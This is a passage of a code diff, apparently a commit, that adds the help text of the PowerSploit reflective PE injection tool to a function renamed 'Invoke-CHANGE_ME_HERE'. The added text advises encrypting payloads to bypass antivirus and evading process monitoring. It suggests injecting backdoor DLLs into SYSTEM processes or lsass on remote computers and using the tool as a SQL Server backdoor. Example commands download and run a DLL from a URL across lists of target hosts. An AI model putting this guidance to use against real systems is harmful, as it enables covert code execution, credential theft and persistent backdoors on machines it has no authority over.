|
1 | 1 | function Invoke-CHANGE_ME_HERE |
2 | 2 | { |
| 3 | +<# |
| 4 | +.SYNOPSIS |
| 5 | +
|
| 6 | +This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process, |
| 7 | +or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints, |
| 8 | +please lead the Notes section (GENERAL NOTES) for information on how to use them. |
| 9 | +
|
| 10 | +
|
| 11 | +1.)Reflectively loads a DLL or EXE in to memory of the Powershell process. |
| 12 | +Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process. |
| 13 | +
|
| 14 | +This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system, |
| 15 | +this will load and execute the DLL/EXE in to memory without writing any files to disk. |
| 16 | +
|
| 17 | +
|
| 18 | +2.) Reflectively load a DLL in to memory of a remote process. |
| 19 | +As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process. |
| 20 | +
|
| 21 | +This is probably most useful for injecting backdoors in SYSTEM processes in Session0. Currently, you cannot retrieve output |
| 22 | +from the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the |
| 23 | +remote process. |
| 24 | +
|
| 25 | +
|
| 26 | +While this script provides functionality to specify a file to load from disk a URL, or a byte array, these are more for demo purposes. The way I'd recommend using the script is to create a byte array |
| 27 | +containing the file you'd like to reflectively load, and hardcode that byte array in to the script. One advantage of doing this is you can encrypt the byte array and decrypt it in memory, which will |
| 28 | +bypass A/V. Another advantage is you won't be making web requests. The script can also load files from SQL Server and be used as a SQL Server backdoor. Please see the Casaba |
| 29 | +blog linked below (thanks to whitey). |
| 30 | +
|
| 31 | +PowerSploit Function: Invoke-ReflectivePEInjection |
| 32 | +Author: Joe Bialek, Twitter: @JosephBialek |
| 33 | +License: BSD 3-Clause |
| 34 | +Required Dependencies: None |
| 35 | +Optional Dependencies: None |
| 36 | +Version: 1.4 |
| 37 | +
|
| 38 | +.DESCRIPTION |
| 39 | +
|
| 40 | +Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process. |
| 41 | +
|
| 42 | +.PARAMETER PEPath |
| 43 | +
|
| 44 | +The path of the DLL/EXE to load and execute. This file must exist on the computer the script is being run on, not the remote computer. |
| 45 | +
|
| 46 | +.PARAMETER PEUrl |
| 47 | +
|
| 48 | +A URL containing a DLL/EXE to load and execute. |
| 49 | +
|
| 50 | +.PARAMETER PEBytes |
| 51 | +
|
| 52 | +A byte array containing a DLL/EXE to load and execute. |
| 53 | +
|
| 54 | +.PARAMETER ComputerName |
| 55 | +
|
| 56 | +Optional, an array of computernames to run the script on. |
| 57 | +
|
| 58 | +.PARAMETER FuncReturnType |
| 59 | +
|
| 60 | +Optional, the return type of the function being called in the DLL. Default: Void |
| 61 | + Options: String, WString, Void. See notes for more information. |
| 62 | + IMPORTANT: For DLLs being loaded remotely, only Void is supported. |
| 63 | + |
| 64 | +.PARAMETER ExeArgs |
| 65 | +
|
| 66 | +Optional, arguments to pass to the executable being reflectively loaded. |
| 67 | + |
| 68 | +.PARAMETER ProcName |
| 69 | +
|
| 70 | +Optional, the name of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this. |
| 71 | +
|
| 72 | +.PARAMETER ProcId |
| 73 | +
|
| 74 | +Optional, the process ID of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this. |
| 75 | +
|
| 76 | +.PARAMETER ForceASLR |
| 77 | +
|
| 78 | +Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn't support ASLR. Some PE's will work with ASLR even |
| 79 | + if the compiler flags don't indicate they support it. Other PE's will simply crash. Make sure to test this prior to using. Has no effect when |
| 80 | + loading in to a remote process. |
| 81 | + |
| 82 | +.EXAMPLE |
| 83 | +
|
| 84 | +Load DemoDLL from a URL and run the exported function WStringFunc on the current system, print the wchar_t* returned by WStringFunc(). |
| 85 | +Note that the file name on the website can be any file extension. |
| 86 | +Invoke-ReflectivePEInjection -PEUrl http://yoursite.com/DemoDLL.dll -FuncReturnType WString |
| 87 | +
|
| 88 | +.EXAMPLE |
| 89 | +
|
| 90 | +Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc(). |
| 91 | +Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName Target.local |
| 92 | +
|
| 93 | +.EXAMPLE |
| 94 | +
|
| 95 | +Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print |
| 96 | + the wchar_t* returned by WStringFunc() from all the computers. |
| 97 | +Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName (Get-Content targetlist.txt) |
| 98 | +
|
| 99 | +.EXAMPLE |
| 100 | +
|
| 101 | +Load DemoEXE and run it locally. |
| 102 | +Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4" |
| 103 | +
|
| 104 | +.EXAMPLE |
| 105 | +
|
| 106 | +Load DemoEXE and run it locally. Forces ASLR on for the EXE. |
| 107 | +Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR |
| 108 | +
|
| 109 | +.EXAMPLE |
| 110 | +
|
| 111 | +Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer. |
| 112 | +Invoke-ReflectivePEInjection -PEPath DemoDLL_RemoteProcess.dll -ProcName lsass -ComputerName Target.Local |
| 113 | +
|
| 114 | +.EXAMPLE |
| 115 | +
|
| 116 | +Load a PE from a byte array. |
| 117 | +Invoke-ReflectivePEInjection -PEPath (Get-Content c:\DemoEXE.exe -Encoding Byte) -ExeArgs "Arg1 Arg2 Arg3 Arg4" |
| 118 | +
|
| 119 | +.NOTES |
| 120 | +GENERAL NOTES: |
| 121 | +The script has 3 basic sets of functionality: |
| 122 | +1.) Reflectively load a DLL in to the PowerShell process |
| 123 | + -Can return DLL output to user when run remotely or locally. |
| 124 | + -Cleans up memory in the PS process once the DLL finishes executing. |
| 125 | + -Great for running pentest tools on remote computers without triggering process monitoring alerts. |
| 126 | + -By default, takes 3 function names, see below (DLL LOADING NOTES) for more info. |
| 127 | +2.) Reflectively load an EXE in to the PowerShell process. |
| 128 | + -Can NOT return EXE output to user when run remotely. If remote output is needed, you must use a DLL. CAN return EXE output if run locally. |
| 129 | + -Cleans up memory in the PS process once the DLL finishes executing. |
| 130 | + -Great for running existing pentest tools which are EXE's without triggering process monitoring alerts. |
| 131 | +3.) Reflectively inject a DLL in to a remote process. |
| 132 | + -Can NOT return DLL output to the user when run remotely OR locally. |
| 133 | + -Does NOT clean up memory in the remote process if/when DLL finishes execution. |
| 134 | + -Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory. |
| 135 | + -Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded. |
| 136 | +
|
| 137 | +
|
| 138 | +
|
| 139 | +DLL LOADING NOTES: |
| 140 | +
|
| 141 | +PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output. |
| 142 | +If you need to get back the output from the PE file you are loading on remote computers, you must compile the PE file as a DLL, and have the DLL |
| 143 | +return a char* or wchar_t*, which PowerShell can take and read the output from. Anything output from stdout which is run using powershell |
| 144 | +remoting will not be returned to you. If you just run the PowerShell script locally, you WILL be able to see the stdout output from |
| 145 | +applications because it will just appear in the console window. The limitation only applies when using PowerShell remoting. |
| 146 | +
|
| 147 | +For DLL Loading: |
| 148 | +Once this script loads the DLL, it calls a function in the DLL. There is a section near the bottom labeled "YOUR CODE GOES HERE" |
| 149 | +I recommend your DLL take no parameters. I have prewritten code to handle functions which take no parameters are return |
| 150 | +the following types: char*, wchar_t*, and void. If the function returns char* or wchar_t* the script will output the |
| 151 | +returned data. The FuncReturnType parameter can be used to specify which return type to use. The mapping is as follows: |
| 152 | +wchar_t* : FuncReturnType = WString |
| 153 | +char* : FuncReturnType = String |
| 154 | +void : Default, don't supply a FuncReturnType |
| 155 | +
|
| 156 | +For the whcar_t* and char_t* options to work, you must allocate the string to the heap. Don't simply convert a string |
| 157 | +using string.c_str() because it will be allocaed on the stack and be destroyed when the DLL returns. |
| 158 | +
|
| 159 | +The function name expected in the DLL for the prewritten FuncReturnType's is as follows: |
| 160 | +WString : WStringFunc |
| 161 | +String : StringFunc |
| 162 | +Void : VoidFunc |
| 163 | +
|
| 164 | +These function names ARE case sensitive. To create an exported DLL function for the wstring type, the function would |
| 165 | +be declared as follows: |
| 166 | +extern "C" __declspec( dllexport ) wchar_t* WStringFunc() |
| 167 | +
|
| 168 | +
|
| 169 | +If you want to use a DLL which returns a different data type, or which takes parameters, you will need to modify |
| 170 | +this script to accomodate this. You can find the code to modify in the section labeled "YOUR CODE GOES HERE". |
| 171 | +
|
| 172 | +Find a DemoDLL at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectiveDllInjection |
| 173 | +
|
| 174 | +.LINK |
| 175 | +
|
| 176 | +Blog: http://clymb3r.wordpress.com/ |
| 177 | +Github repo: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection |
| 178 | +
|
| 179 | +Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/ |
| 180 | +Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ |
| 181 | +Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/ |
| 182 | +
|
| 183 | +#> |
3 | 184 |
|
4 | 185 | [CmdletBinding(DefaultParameterSetName="WebFile")] |
5 | 186 | Param( |
|
0 commit comments